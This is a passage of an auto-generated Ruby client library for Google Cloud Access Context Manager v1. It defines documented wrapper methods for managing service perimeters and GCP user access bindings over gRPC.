metadata = @config.rpcs.get_service_perimeter.metadata.to_h
# Set x-goog-api-client and x-goog-user-project headers
metadata[:"x-goog-api-client"] ||= ::Gapic::Headers.x_goog_api_client \
lib_name: @config.lib_name, lib_version: @config.lib_version,
gapic_version: ::Google::Identity::AccessContextManager::V1::VERSION
metadata[:"x-goog-user-project"] = @quota_project_id if @quota_project_id
header_params = {
"name" => request.name
}
request_params_header = header_params.map { |k, v| "#{k}=#{v}" }.join("&")
metadata[:"x-goog-request-params"] ||= request_params_header
options.apply_defaults timeout: @config.rpcs.get_service_perimeter.timeout,
metadata: metadata,
retry_policy: @config.rpcs.get_service_perimeter.retry_policy
options.apply_defaults timeout: @config.timeout,
metadata: @config.metadata,
retry_policy: @config.retry_policy
@access_context_manager_stub.call_rpc :get_service_perimeter, request, options: options do |response, operation|
yield response, operation if block_given?
return response
end
rescue ::GRPC::BadStatus => e
raise ::Google::Cloud::Error.from_error(e)
end
##
# Create a [Service Perimeter]
# [google.identity.accesscontextmanager.v1.ServicePerimeter]. The
# longrunning operation from this RPC will have a successful status once the
# [Service Perimeter]
# [google.identity.accesscontextmanager.v1.ServicePerimeter] has
# propagated to long-lasting storage. [Service Perimeters]
# [google.identity.accesscontextmanager.v1.ServicePerimeter] containing
# errors will result in an error response for the first error encountered.
#
# @overload create_service_perimeter(request, options = nil)
# Pass arguments to `create_service_perimeter` via a request object, either of type
# {::Google::Identity::AccessContextManager::V1::CreateServicePerimeterRequest} or an equivalent Hash.
#
# @param request [::Google::Identity::AccessContextManager::V1::CreateServicePerimeterRequest, ::Hash]
# A request object representing the call parameters. Required. To specify no
# parameters, or to keep all the default parameter values, pass an empty Hash.
# @param options [::Gapic::CallOptions, ::Hash]
# Overrides the default settings for this call, e.g, timeout, retries, etc. Optional.
#
# @overload create_service_perimeter(parent: nil, service_perimeter: nil)
# Pass arguments to `create_service_perimeter` via keyword arguments. Note that at
# least one keyword argument is required. To specify no parameters, or to keep all
# the default parameter values, pass an empty Hash as a request object (see above).
#
# @param parent [::String]
# Required. Resource name for the access policy which owns this [Service
# Perimeter] [google.identity.accesscontextmanager.v1.ServicePerimeter].
#
# Format: `accessPolicies/{policy_id}`
# @param service_perimeter [::Google::Identity::AccessContextManager::V1::ServicePerimeter, ::Hash]
# Required. The [Service Perimeter]
# [google.identity.accesscontextmanager.v1.ServicePerimeter] to create.
# Syntactic correctness of the [Service Perimeter]
# [google.identity.accesscontextmanager.v1.ServicePerimeter] is a
# precondition for creation.
#
# @yield [response, operation] Access the result along with the RPC operation
# @yieldparam response [::Gapic::Operation]
# @yieldparam operation [::GRPC::ActiveCall::Operation]
#
# @return [::Gapic::Operation]
#
# @raise [::Google::Cloud::Error] if the RPC is aborted.
#
def create_service_perimeter request, options = nil
raise ::ArgumentError, "request must be provided" if request.nil?
request = ::Gapic::Protobuf.coerce request, to: ::Google::Identity::AccessContextManager::V1::CreateServicePerimeterRequest
# Converts hash and nil to an options object
options = ::Gapic::CallOptions.new(**options.to_h) if options.respond_to? :to_h
# Customize the options with defaults
metadata = @config.rpcs.create_service_perimeter.metadata.to_h
# Set x-goog-api-client and x-goog-user-project headers
metadata[:"x-goog-api-client"] ||= ::Gapic::Headers.x_goog_api_client \
lib_name: @config.lib_name, lib_version: @config.lib_version,
gapic_version: ::Google::Identity::AccessContextManager::V1::VERSION
metadata[:"x-goog-user-project"] = @quota_project_id if @quota_project_id
header_params = {
"parent" => request.parent
}
request_params_header = header_params.map { |k, v| "#{k}=#{v}" }.join("&")
metadata[:"x-goog-request-params"] ||= request_params_header
options.apply_defaults timeout: @config.rpcs.create_service_perimeter.timeout,
metadata: metadata,
retry_policy: @config.rpcs.create_service_perimeter.retry_policy
options.apply_defaults timeout: @config.timeout,
metadata: @config.metadata,
retry_policy: @config.retry_policy
@access_context_manager_stub.call_rpc :create_service_perimeter, request, options: options do |response, operation|
response = ::Gapic::Operation.new response, @operations_client, options: options
yield response, operation if block_given?
return response
end
rescue ::GRPC::BadStatus => e
raise ::Google::Cloud::Error.from_error(e)
end
##
# Update a [Service Perimeter]
# [google.identity.accesscontextmanager.v1.ServicePerimeter]. The
# longrunning operation from this RPC will have a successful status once the
# changes to the [Service Perimeter]
# [google.identity.accesscontextmanager.v1.ServicePerimeter] have
# propagated to long-lasting storage. [Service Perimeter]
# [google.identity.accesscontextmanager.v1.ServicePerimeter] containing
# errors will result in an error response for the first error encountered.
#
# @overload update_service_perimeter(request, options = nil)
# Pass arguments to `update_service_perimeter` via a request object, either of type
# {::Google::Identity::AccessContextManager::V1::UpdateServicePerimeterRequest} or an equivalent Hash.
#
# @param request [::Google::Identity::AccessContextManager::V1::UpdateServicePerimeterRequest, ::Hash]
# A request object representing the call parameters. Required. To specify no
# parameters, or to keep all the default parameter values, pass an empty Hash.
# @param options [::Gapic::CallOptions, ::Hash]
# Overrides the default settings for this call, e.g, timeout, retries, etc. Optional.
#
# @overload update_service_perimeter(service_perimeter: nil, update_mask: nil)
# Pass arguments to `update_service_perimeter` via keyword arguments. Note that at
# least one keyword argument is required. To specify no parameters, or to keep all
# the default parameter values, pass an empty Hash as a request object (see above).
#
# @param service_perimeter [::Google::Identity::AccessContextManager::V1::ServicePerimeter, ::Hash]
# Required. The updated `ServicePerimeter`. Syntactic correctness of the
# `ServicePerimeter` is a precondition for creation.
# @param update_mask [::Google::Protobuf::FieldMask, ::Hash]
# Required. Mask to control which fields get updated. Must be non-empty.
#
# @yield [response, operation] Access the result along with the RPC operation
# @yieldparam response [::Gapic::Operation]
# @yieldparam operation [::GRPC::ActiveCall::Operation]
#
# @return [::Gapic::Operation]
#
# @raise [::Google::Cloud::Error] if the RPC is aborted.
#
def update_service_perimeter request, options = nil
raise ::ArgumentError, "request must be provided" if request.nil?
request = ::Gapic::Protobuf.coerce request, to: ::Google::Identity::AccessContextManager::V1::UpdateServicePerimeterRequest
# Converts hash and nil to an options object
options = ::Gapic::CallOptions.new(**options.to_h) if options.respond_to? :to_h
# Customize the options with defaults
metadata = @config.rpcs.update_service_perimeter.metadata.to_h
# Set x-goog-api-client and x-goog-user-project headers
metadata[:"x-goog-api-client"] ||= ::Gapic::Headers.x_goog_api_client \
lib_name: @config.lib_name, lib_version: @config.lib_version,
gapic_version: ::Google::Identity::AccessContextManager::V1::VERSION
metadata[:"x-goog-user-project"] = @quota_project_id if @quota_project_id
header_params = {
"service_perimeter.name" => request.service_perimeter.name
}
request_params_header = header_params.map { |k, v| "#{k}=#{v}" }.join("&")
metadata[:"x-goog-request-params"] ||= request_params_header
options.apply_defaults timeout: @config.rpcs.update_service_perimeter.timeout,
metadata: metadata,
retry_policy: @config.rpcs.update_service_perimeter.retry_policy
options.apply_defaults timeout: @config.timeout,
metadata: @config.metadata,
retry_policy: @config.retry_policy
@access_context_manager_stub.call_rpc :update_service_perimeter, request, options: options do |response, operation|
response = ::Gapic::Operation.new response, @operations_client, options: options
yield response, operation if block_given?
return response
end
rescue ::GRPC::BadStatus => e
raise ::Google::Cloud::Error.from_error(e)
end
##
# Delete a [Service Perimeter]
# [google.identity.accesscontextmanager.v1.ServicePerimeter] by resource
# name. The longrunning operation from this RPC will have a successful status
# once the [Service Perimeter]
# [google.identity.accesscontextmanager.v1.ServicePerimeter] has been
# removed from long-lasting storage.
#
# @overload delete_service_perimeter(request, options = nil)
# Pass arguments to `delete_service_perimeter` via a request object, either of type
# {::Google::Identity::AccessContextManager::V1::DeleteServicePerimeterRequest} or an equivalent Hash.
#
# @param request [::Google::Identity::AccessContextManager::V1::DeleteServicePerimeterRequest, ::Hash]
# A request object representing the call parameters. Required. To specify no
# parameters, or to keep all the default parameter values, pass an empty Hash.
# @param options [::Gapic::CallOptions, ::Hash]
# Overrides the default settings for this call, e.g, timeout, retries, etc. Optional.
#
# @overload delete_service_perimeter(name: nil)
# Pass arguments to `delete_service_perimeter` via keyword arguments. Note that at
# least one keyword argument is required. To specify no parameters, or to keep all
# the default parameter values, pass an empty Hash as a request object (see above).
#
# @param name [::String]
# Required. Resource name for the [Service Perimeter]
# [google.identity.accesscontextmanager.v1.ServicePerimeter].
#
# Format:
# `accessPolicies/{policy_id}/servicePerimeters/{service_perimeter_id}`
#
# @yield [response, operation] Access the result along with the RPC operation
# @yieldparam response [::Gapic::Operation]
# @yieldparam operation [::GRPC::ActiveCall::Operation]
#
# @return [::Gapic::Operation]
#
# @raise [::Google::Cloud::Error] if the RPC is aborted.
#
def delete_service_perimeter request, options = nil
raise ::ArgumentError, "request must be provided" if request.nil?
request = ::Gapic::Protobuf.coerce request, to: ::Google::Identity::AccessContextManager::V1::DeleteServicePerimeterRequest
# Converts hash and nil to an options object
options = ::Gapic::CallOptions.new(**options.to_h) if options.respond_to? :to_h
# Customize the options with defaults
metadata = @config.rpcs.delete_service_perimeter.metadata.to_h
# Set x-goog-api-client and x-goog-user-project headers
metadata[:"x-goog-api-client"] ||= ::Gapic::Headers.x_goog_api_client \
lib_name: @config.lib_name, lib_version: @config.lib_version,
gapic_version: ::Google::Identity::AccessContextManager::V1::VERSION
metadata[:"x-goog-user-project"] = @quota_project_id if @quota_project_id
header_params = {
"name" => request.name
}
request_params_header = header_params.map { |k, v| "#{k}=#{v}" }.join("&")
metadata[:"x-goog-request-params"] ||= request_params_header
options.apply_defaults timeout: @config.rpcs.delete_service_perimeter.timeout,
metadata: metadata,
retry_policy: @config.rpcs.delete_service_perimeter.retry_policy
options.apply_defaults timeout: @config.timeout,
metadata: @config.metadata,
retry_policy: @config.retry_policy
@access_context_manager_stub.call_rpc :delete_service_perimeter, request, options: options do |response, operation|
response = ::Gapic::Operation.new response, @operations_client, options: options
yield response, operation if block_given?
return response
end
rescue ::GRPC::BadStatus => e
raise ::Google::Cloud::Error.from_error(e)
end
##
# Replace all existing [Service Perimeters]
# [google.identity.accesscontextmanager.v1.ServicePerimeter] in an
# [Access Policy] [google.identity.accesscontextmanager.v1.AccessPolicy]
# with the [Service Perimeters]
# [google.identity.accesscontextmanager.v1.ServicePerimeter] provided.
# This is done atomically. The longrunning operation from this
# RPC will have a successful status once all replacements have propagated to
# long-lasting storage. Replacements containing errors will result in an
# error response for the first error encountered. Replacement will be
# cancelled on error, existing [Service Perimeters]
# [google.identity.accesscontextmanager.v1.ServicePerimeter] will not be
# affected. Operation.response field will contain
# ReplaceServicePerimetersResponse.
#
# @overload replace_service_perimeters(request, options = nil)
# Pass arguments to `replace_service_perimeters` via a request object, either of type
# {::Google::Identity::AccessContextManager::V1::ReplaceServicePerimetersRequest} or an equivalent Hash.
#
# @param request [::Google::Identity::AccessContextManager::V1::ReplaceServicePerimetersRequest, ::Hash]
# A request object representing the call parameters. Required. To specify no
# parameters, or to keep all the default parameter values, pass an empty Hash.
# @param options [::Gapic::CallOptions, ::Hash]
# Overrides the default settings for this call, e.g, timeout, retries, etc. Optional.
#
# @overload replace_service_perimeters(parent: nil, service_perimeters: nil, etag: nil)
# Pass arguments to `replace_service_perimeters` via keyword arguments. Note that at
# least one keyword argument is required. To specify no parameters, or to keep all
# the default parameter values, pass an empty Hash as a request object (see above).
#
# @param parent [::String]
# Required. Resource name for the access policy which owns these
# [Service Perimeters]
# [google.identity.accesscontextmanager.v1.ServicePerimeter].
#
# Format: `accessPolicies/{policy_id}`
# @param service_perimeters [::Array<::Google::Identity::AccessContextManager::V1::ServicePerimeter, ::Hash>]
# Required. The desired [Service Perimeters]
# [google.identity.accesscontextmanager.v1.ServicePerimeter] that should
# replace all existing [Service Perimeters]
# [google.identity.accesscontextmanager.v1.ServicePerimeter] in the
# [Access Policy]
# [google.identity.accesscontextmanager.v1.AccessPolicy].
# @param etag [::String]
# Optional. The etag for the version of the [Access Policy]
# [google.identity.accesscontextmanager.v1.AccessPolicy] that this
# replace operation is to be performed on. If, at the time of replace, the
# etag for the Access Policy stored in Access Context Manager is different
# from the specified etag, then the replace operation will not be performed
# and the call will fail. This field is not required. If etag is not
# provided, the operation will be performed as if a valid etag is provided.
#
# @yield [response, operation] Access the result along with the RPC operation
# @yieldparam response [::Gapic::Operation]
# @yieldparam operation [::GRPC::ActiveCall::Operation]
#
# @return [::Gapic::Operation]
#
# @raise [::Google::Cloud::Error] if the RPC is aborted.
#
def replace_service_perimeters request, options = nil
raise ::ArgumentError, "request must be provided" if request.nil?
request = ::Gapic::Protobuf.coerce request, to: ::Google::Identity::AccessContextManager::V1::ReplaceServicePerimetersRequest
# Converts hash and nil to an options object
options = ::Gapic::CallOptions.new(**options.to_h) if options.respond_to? :to_h
# Customize the options with defaults
metadata = @config.rpcs.replace_service_perimeters.metadata.to_h
# Set x-goog-api-client and x-goog-user-project headers
metadata[:"x-goog-api-client"] ||= ::Gapic::Headers.x_goog_api_client \
lib_name: @config.lib_name, lib_version: @config.lib_version,
gapic_version: ::Google::Identity::AccessContextManager::V1::VERSION
metadata[:"x-goog-user-project"] = @quota_project_id if @quota_project_id
header_params = {
"parent" => request.parent
}
request_params_header = header_params.map { |k, v| "#{k}=#{v}" }.join("&")
metadata[:"x-goog-request-params"] ||= request_params_header
options.apply_defaults timeout: @config.rpcs.replace_service_perimeters.timeout,
metadata: metadata,
retry_policy: @config.rpcs.replace_service_perimeters.retry_policy
options.apply_defaults timeout: @config.timeout,
metadata: @config.metadata,
retry_policy: @config.retry_policy
@access_context_manager_stub.call_rpc :replace_service_perimeters, request, options: options do |response, operation|
response = ::Gapic::Operation.new response, @operations_client, options: options
yield response, operation if block_given?
return response
end
rescue ::GRPC::BadStatus => e
raise ::Google::Cloud::Error.from_error(e)
end
##
# Commit the dry-run spec for all the [Service Perimeters]
# [google.identity.accesscontextmanager.v1.ServicePerimeter] in an
# {::Google::Identity::AccessContextManager::V1::AccessPolicy Access Policy}.
# A commit operation on a Service Perimeter involves copying its `spec` field
# to that Service Perimeter's `status` field. Only [Service Perimeters]
# [google.identity.accesscontextmanager.v1.ServicePerimeter] with
# `use_explicit_dry_run_spec` field set to true are affected by a commit
# operation. The longrunning operation from this RPC will have a successful
# status once the dry-run specs for all the [Service Perimeters]
# [google.identity.accesscontextmanager.v1.ServicePerimeter] have been
# committed. If a commit fails, it will cause the longrunning operation to
# return an error response and the entire commit operation will be cancelled.
# When successful, Operation.response field will contain
# CommitServicePerimetersResponse. The `dry_run` and the `spec` fields will
# be cleared after a successful commit operation.
#
# @overload commit_service_perimeters(request, options = nil)
# Pass arguments to `commit_service_perimeters` via a request object, either of type
# {::Google::Identity::AccessContextManager::V1::CommitServicePerimetersRequest} or an equivalent Hash.
#
# @param request [::Google::Identity::AccessContextManager::V1::CommitServicePerimetersRequest, ::Hash]
# A request object representing the call parameters. Required. To specify no
# parameters, or to keep all the default parameter values, pass an empty Hash.
# @param options [::Gapic::CallOptions, ::Hash]
# Overrides the default settings for this call, e.g, timeout, retries, etc. Optional.
#
# @overload commit_service_perimeters(parent: nil, etag: nil)
# Pass arguments to `commit_service_perimeters` via keyword arguments. Note that at
# least one keyword argument is required. To specify no parameters, or to keep all
# the default parameter values, pass an empty Hash as a request object (see above).
#
# @param parent [::String]
# Required. Resource name for the parent [Access Policy]
# [google.identity.accesscontextmanager.v1.AccessPolicy] which owns all
# [Service Perimeters]
# [google.identity.accesscontextmanager.v1.ServicePerimeter] in scope for
# the commit operation.
#
# Format: `accessPolicies/{policy_id}`
# @param etag [::String]
# Optional. The etag for the version of the [Access Policy]
# [google.identity.accesscontextmanager.v1alpha.AccessPolicy] that this
# commit operation is to be performed on. If, at the time of commit, the
# etag for the Access Policy stored in Access Context Manager is different
# from the specified etag, then the commit operation will not be performed
# and the call will fail. This field is not required. If etag is not
# provided, the operation will be performed as if a valid etag is provided.
#
# @yield [response, operation] Access the result along with the RPC operation
# @yieldparam response [::Gapic::Operation]
# @yieldparam operation [::GRPC::ActiveCall::Operation]
#
# @return [::Gapic::Operation]
#
# @raise [::Google::Cloud::Error] if the RPC is aborted.
#
def commit_service_perimeters request, options = nil
raise ::ArgumentError, "request must be provided" if request.nil?
request = ::Gapic::Protobuf.coerce request, to: ::Google::Identity::AccessContextManager::V1::CommitServicePerimetersRequest
# Converts hash and nil to an options object
options = ::Gapic::CallOptions.new(**options.to_h) if options.respond_to? :to_h
# Customize the options with defaults
metadata = @config.rpcs.commit_service_perimeters.metadata.to_h
# Set x-goog-api-client and x-goog-user-project headers
metadata[:"x-goog-api-client"] ||= ::Gapic::Headers.x_goog_api_client \
lib_name: @config.lib_name, lib_version: @config.lib_version,
gapic_version: ::Google::Identity::AccessContextManager::V1::VERSION
metadata[:"x-goog-user-project"] = @quota_project_id if @quota_project_id
header_params = {
"parent" => request.parent
}
request_params_header = header_params.map { |k, v| "#{k}=#{v}" }.join("&")
metadata[:"x-goog-request-params"] ||= request_params_header
options.apply_defaults timeout: @config.rpcs.commit_service_perimeters.timeout,
metadata: metadata,
retry_policy: @config.rpcs.commit_service_perimeters.retry_policy
options.apply_defaults timeout: @config.timeout,
metadata: @config.metadata,
retry_policy: @config.retry_policy
@access_context_manager_stub.call_rpc :commit_service_perimeters, request, options: options do |response, operation|
response = ::Gapic::Operation.new response, @operations_client, options: options
yield response, operation if block_given?
return response
end
rescue ::GRPC::BadStatus => e
raise ::Google::Cloud::Error.from_error(e)
end
##
# Lists all [GcpUserAccessBindings]
# [google.identity.accesscontextmanager.v1.GcpUserAccessBinding] for a
# Google Cloud organization.
#
# @overload list_gcp_user_access_bindings(request, options = nil)
# Pass arguments to `list_gcp_user_access_bindings` via a request object, either of type
# {::Google::Identity::AccessContextManager::V1::ListGcpUserAccessBindingsRequest} or an equivalent Hash.
#
# @param request [::Google::Identity::AccessContextManager::V1::ListGcpUserAccessBindingsRequest, ::Hash]
# A request object representing the call parameters. Required. To specify no
# parameters, or to keep all the default parameter values, pass an empty Hash.
# @param options [::Gapic::CallOptions, ::Hash]
# Overrides the default settings for this call, e.g, timeout, retries, etc. Optional.
#
# @overload list_gcp_user_access_bindings(parent: nil, page_size: nil, page_token: nil)
# Pass arguments to `list_gcp_user_access_bindings` via keyword arguments. Note that at
# least one keyword argument is required. To specify no parameters, or to keep all
# the default parameter values, pass an empty Hash as a request object (see above).
#
# @param parent [::String]
# Required. Example: "organizations/256"
# @param page_size [::Integer]
# Optional. Maximum number of items to return. The server may return fewer items.
# If left blank, the server may return any number of items.
# @param page_token [::String]
# Optional. If left blank, returns the first page. To enumerate all items, use the
# [next_page_token]
# [google.identity.accesscontextmanager.v1.ListGcpUserAccessBindingsResponse.next_page_token]
# from your previous list operation.
#
# @yield [response, operation] Access the result along with the RPC operation
# @yieldparam response [::Gapic::PagedEnumerable<::Google::Identity::AccessContextManager::V1::GcpUserAccessBinding>]
# @yieldparam operation [::GRPC::ActiveCall::Operation]
#
# @return [::Gapic::PagedEnumerable<::Google::Identity::AccessContextManager::V1::GcpUserAccessBinding>]
#
# @raise [::Google::Cloud::Error] if the RPC is aborted.
#
def list_gcp_user_access_bindings request, options = nil
raise ::ArgumentError, "request must be provided" if request.nil?
request = ::Gapic::Protobuf.coerce request, to: ::Google::Identity::AccessContextManager::V1::ListGcpUserAccessBindingsRequest
# Converts hash and nil to an options object
options = ::Gapic::CallOptions.new(**options.to_h) if options.respond_to? :to_h
# Customize the options with defaults
metadata = @config.rpcs.list_gcp_user_access_bindings.metadata.to_h
# Set x-goog-api-client and x-goog-user-project headers
metadata[:"x-goog-api-client"] ||= ::Gapic::Headers.x_goog_api_client \
lib_name: @config.lib_name, lib_version: @config.lib_version,
gapic_version: ::Google::Identity::AccessContextManager::V1::VERSION
metadata[:"x-goog-user-project"] = @quota_project_id if @quota_project_id
header_params = {
"parent" => request.parent
}
request_params_header = header_params.map { |k, v| "#{k}=#{v}" }.join("&")
metadata[:"x-goog-request-params"] ||= request_params_header
options.apply_defaults timeout: @config.rpcs.list_gcp_user_access_bindings.timeout,
metadata: metadata,
retry_policy: @config.rpcs.list_gcp_user_access_bindings.retry_policy
options.apply_defaults timeout: @config.timeout,
metadata: @config.metadata,
retry_policy: @config.retry_policy
@access_context_manager_stub.call_rpc :list_gcp_user_access_bindings, request, options: options do |response, operation|
response = ::Gapic::PagedEnumerable.new @access_context_manager_stub, :list_gcp_user_access_bindings, request, response, operation, options
yield response, operation if block_given?
return response
end
rescue ::GRPC::BadStatus => e
raise ::Google::Cloud::Error.from_error(e)
end
##
# Gets the [GcpUserAccessBinding]
# [google.identity.accesscontextmanager.v1.GcpUserAccessBinding] with
# the given name.
#
# @overload get_gcp_user_access_binding(request, options = nil)
# Pass arguments to `get_gcp_user_access_binding` via a request object, either of type
# {::Google::Identity::AccessContextManager::V1::GetGcpUserAccessBindingRequest} or an equivalent Hash.
#
# @param request [::Google::Identity::AccessContextManager::V1::GetGcpUserAccessBindingRequest, ::Hash]
# A request object representing the call parameters. Required. To specify no
# parameters, or to keep all the default parameter values, pass an empty Hash.
# @param options [::Gapic::CallOptions, ::Hash]
# Overrides the default settings for this call, e.g, timeout, retries, etc. Optional.
#
# @overload get_gcp_user_access_binding(name: nil)
# Pass arguments to `get_gcp_user_access_binding` via keyword arguments. Note that at
# least one keyword argument is required. To specify no parameters, or to keep all
# the default parameter values, pass an empty Hash as a request object (see above).
#
# @param name [::String]
# Required. Example: "organizations/256/gcpUserAccessBindings/b3-BhcX_Ud5N"
#
# @yield [response, operation] Access the result along with the RPC operation
# @yieldparam response [::Google::Identity::AccessContextManager::V1::GcpUserAccessBinding]
# @yieldparam operation [::GRPC::ActiveCall::Operation]
#
# @return [::Google::Identity::AccessContextManager::V1::GcpUserAccessBinding]
#
# @raise [::Google::Cloud::Error] if the RPC is aborted.
#
def get_gcp_user_access_binding request, options = nil
raise ::ArgumentError, "request must be provided" if request.nil?
request = ::Gapic::Protobuf.coerce request, to: ::Google::Identity::AccessContextManager::V1::GetGcpUserAccessBindingRequest
# Converts hash and nil to an options object
options = ::Gapic::CallOptions.new(**options.to_h) if options.respond_to? :to_h
# Customize the options with defaults
metadata = @config.rpcs.get_gcp_user_access_binding.metadata.to_h
# Set x-goog-api-client and x-goog-user-project headers
metadata[:"x-goog-api-client"] ||= ::Gapic::Headers.x_goog_api_client \
lib_name: @config.lib_name, lib_version: @config.lib_version,
gapic_version: ::Google::Identity::AccessContextManager::V1::VERSION
metadata[:"x-goog-user-project"] = @quota_project_id if @quota_project_id
header_params = {
"name" => request.name
}
request_params_header = header_params.map { |k, v| "#{k}=#{v}" }.join("&")
metadata[:"x-goog-request-params"] ||= request_params_header
options.apply_defaults timeout: @config.rpcs.get_gcp_user_access_binding.timeout,
metadata: metadata,
retry_policy: @config.rpcs.get_gcp_user_access_binding.retry_policy
options.apply_defaults timeout: @config.timeout,
metadata: @config.metadata,
retry_policy: @config.retry_policy
@access_context_manager_stub.call_rpc :get_gcp_user_access_binding, request, options: options do |response, operation|
yield response, operation if block_given?
return response
end
rescue ::GRPC::BadStatus => e
raise ::Google::Cloud::Error.from_error(e)
end
##
# Creates a [GcpUserAccessBinding]
# [google.identity.accesscontextmanager.v1.GcpUserAccessBinding]. If the
# client specifies a [name]
# [google.identity.accesscontextmanager.v1.GcpUserAccessBinding.name],
# the server will ignore it. Fails if a resource already exists with the same
# [group_key]
# [google.identity.accesscontextmanager.v1.GcpUserAccessBinding.group_key].
# Completion of this long-running operation does not necessarily signify that
# the new binding is deployed onto all affected users, which may take more
# time.
#
# @overload create_gcp_user_access_binding(request, options = nil)
# Pass arguments to `create_gcp_user_access_binding` via a request object, either of type
# {::Google::Identity::AccessContextManager::V1::CreateGcpUserAccessBindingRequest} or an equivalent Hash.
#
# @param request [::Google::Identity::AccessContextManager::V1::CreateGcpUserAccessBindingRequest, ::Hash]
# A request object representing the call parameters. Required. To specify no
# parameters, or to keep all the default parameter values, pass an empty Hash.
# @param options [::Gapic::CallOptions, ::Hash]
# Overrides the default settings for this call, e.g, timeout, retries, etc. Optional.
#
# @overload create_gcp_user_access_binding(parent: nil, gcp_user_access_binding: nil)
# Pass arguments to `create_gcp_user_access_binding` via keyword arguments. Note that at
# least one keyword argument is required. To specify no parameters, or to keep all
# the default parameter values, pass an empty Hash as a request object (see above).
#
# @param parent [::String]
# Required. Example: "organizations/256"
# @param gcp_user_access_binding [::Google::Identity::AccessContextManager::V1::GcpUserAccessBinding, ::Hash]
# Required. [GcpUserAccessBinding]
# [google.identity.accesscontextmanager.v1.GcpUserAccessBinding]
#
# @yield [response, operation] Access the result along with the RPC operation
# @yieldparam response [::Gapic::Operation]
# @yieldparam operation [::GRPC::ActiveCall::Operation]
#
# @return [::Gapic::Operation]
#
# @raise [::Google::Cloud::Error] if the RPC is aborted.
#
def create_gcp_user_access_binding request, options = nil
raise ::ArgumentError, "request must be provided" if request.nil?
request = ::Gapic::Protobuf.coerce request, to: ::Google::Identity::AccessContextManager::V1::CreateGcpUserAccessBindingRequest
# Converts hash and nil to an options object
options = ::Gapic::CallOptions.new(**options.to_h) if options.respond_to? :to_h
# Customize the options with defaults
metadata = @config.rpcs.create_gcp_user_access_binding.metadata.to_h
# Set x-goog-api-client and x-goog-user-project headers
metadata[:"x-goog-api-client"] ||= ::Gapic::Headers.x_goog_api_client \
lib_name: @config.lib_name, lib_version: @config.lib_version,
gapic_version: ::Google::Identity::AccessContextManager::V1::VERSION
metadata[:"x-goog-user-project"] = @quota_project_id if @quota_project_id
header_params = {
"parent" => request.parent
}
request_params_header = header_params.map { |k, v| "#{k}=#{v}" }.join("&")
metadata[:"x-goog-request-params"] ||= request_params_header
options.apply_defaults timeout: @config.rpcs.create_gcp_user_access_binding.timeout,
metadata: metadata,
retry_policy: @config.rpcs.create_gcp_user_access_binding.retry_policy
options.apply_defaults timeout: @config.timeout,
metadata: @config.metadata,
retry_policy: @config.retry_policy
@access_context_manager_stub.call_rpc :create_gcp_user_access_binding, request, options: options do |response, operation|
response = ::Gapic::Operation.new response, @operations_client, options: options
yield response, operation if block_given?
return response
end
rescue ::GRPC::BadStatus => e
raise ::Google::Cloud::Error.from_error(e)
end
##
# Updates a [GcpUserAccessBinding]
# [google.identity.accesscontextmanager.v1.GcpUserAccessBinding].
# Completion of this long-running operation does not necessarily signify that
# the changed binding is deployed onto all affected users, which may take
# more time.
#
# @overload update_gcp_user_access_binding(request, options = nil)
# Pass arguments to `update_gcp_user_access_binding` via a request object, either of type
# {::Google::Identity::AccessContextManager::V1::UpdateGcpUserAccessBindingRequest} or an equivalent Hash.
#
# @param request [::Google::Identity::AccessContextManager::V1::UpdateGcpUserAccessBindingRequest, ::Hash]
# A request object representing the call parameters. Required. To specify no
# parameters, or to keep all the default parameter values, pass an empty Hash.
# @param options [::Gapic::CallOptions, ::Hash]
# Overrides the default settings for this call, e.g, timeout, retries, etc. Optional.
#
# @overload update_gcp_user_access_binding(gcp_user_access_binding: nil, update_mask: nil)
# Pass arguments to `update_gcp_user_access_binding` via keyword arguments. Note that at
# least one keyword argument is required. To specify no parameters, or to keep all
# the default parameter values, pass an empty Hash as a request object (see above).
#
# @param gcp_user_access_binding [::Google::Identity::AccessContextManager::V1::GcpUserAccessBinding, ::Hash]
# Required. [GcpUserAccessBinding]
# [google.identity.accesscontextmanager.v1.GcpUserAccessBinding]
# @param update_mask [::Google::Protobuf::FieldMask, ::Hash]
# Required. Only the fields specified in this mask are updated. Because name and
# group_key cannot be changed, update_mask is required and must always be:
#
# update_mask {
# paths: "access_levels"
# }
#
# @yield [response, operation] Access the result along with the RPC operation
# @yieldparam response [::Gapic::Operation]
# @yieldparam operation [::GRPC::ActiveCall::Operation]
#
# @return [::Gapic::Operation]
#
# @raise [::Google::Cloud::Error] if the RPC is aborted.
#
def update_gcp_user_access_binding request, options = nil
raise ::ArgumentError, "request must be provided" if request.nil?
request = ::Gapic::Protobuf.coerce request, to: ::Google::Identity::AccessContextManager::V1::UpdateGcpUserAccessBindingRequest
# Converts hash and nil to an options object
options = ::Gapic::CallOptions.new(**options.to_h) if options.respond_to? :to_h
# Customize the options with defaults
metadata = @config.rpcs.update_gcp_user_access_binding.metadata.to_h
# Set x-goog-api-client and x-goog-user-project headers
metadata[:"x-goog-api-client"] ||= ::Gapic::Headers.x_goog_api_client \
lib_name: @config.lib_name, lib_version: @config.lib_version,
gapic_version: ::Google::Identity::AccessContextManager::V1::VERSION
metadata[:"x-goog-user-project"] = @quota_project_id if @quota_project_id
header_params = {
"gcp_user_access_binding.name" => request.gcp_user_access_binding.name
}
request_params_header = header_params.map { |k, v| "#{k}=#{v}" }.join("&")
metadata[:"x-goog-request-params"] ||= request_params_header
options.apply_defaults timeout: @config.rpcs.update_gcp_user_access_binding.timeout,
metadata: metadata,
retry_policy: @config.rpcs.update_gcp_user_access_binding.retry_policy
options.apply_defaults timeout: @config.timeout,
metadata: @config.metadata,
retry_policy: @config.retry_policy
@access_context_manager_stub.call_rpc :update_gcp_user_access_binding, request, options: options do |response, operation|
response = ::Gapic::Operation.new response, @operations_client, options: options
yield response, operation if block_given?
return response
end
rescue ::GRPC::BadStatus => e
raise ::Google::Cloud::Error.from_error(e)
end
##
# Deletes a [GcpUserAccessBinding]
# [google.identity.accesscontextmanager.v1.GcpUserAccessBinding].
# Completion of this long-running operation does not necessarily signify that
# the binding deletion is deployed onto all affected users, which may take
# more time.
#
# @overload delete_gcp_user_access_binding(request, options = nil)
# Pass arguments to `delete_gcp_user_access_binding` via a request object, either of type
# {::Google::Identity::AccessContextManager::V1::DeleteGcpUserAccessBindingRequest} or an equivalent Hash.
#
# @param request [::Google::Identity::AccessContextManager::V1::DeleteGcpUserAccessBindingRequest, ::Hash]
# A request object representing the call parameters. Required. To specify no
# parameters, or to keep all the default parameter values, pass an empty Hash.
# @param options [::Gapic::CallOptions, ::Hash]
# Overrides the default settings for this call, e.g, timeout, retries, etc. Optional.
#
# @overload delete_gcp_user_access_binding(name: nil)
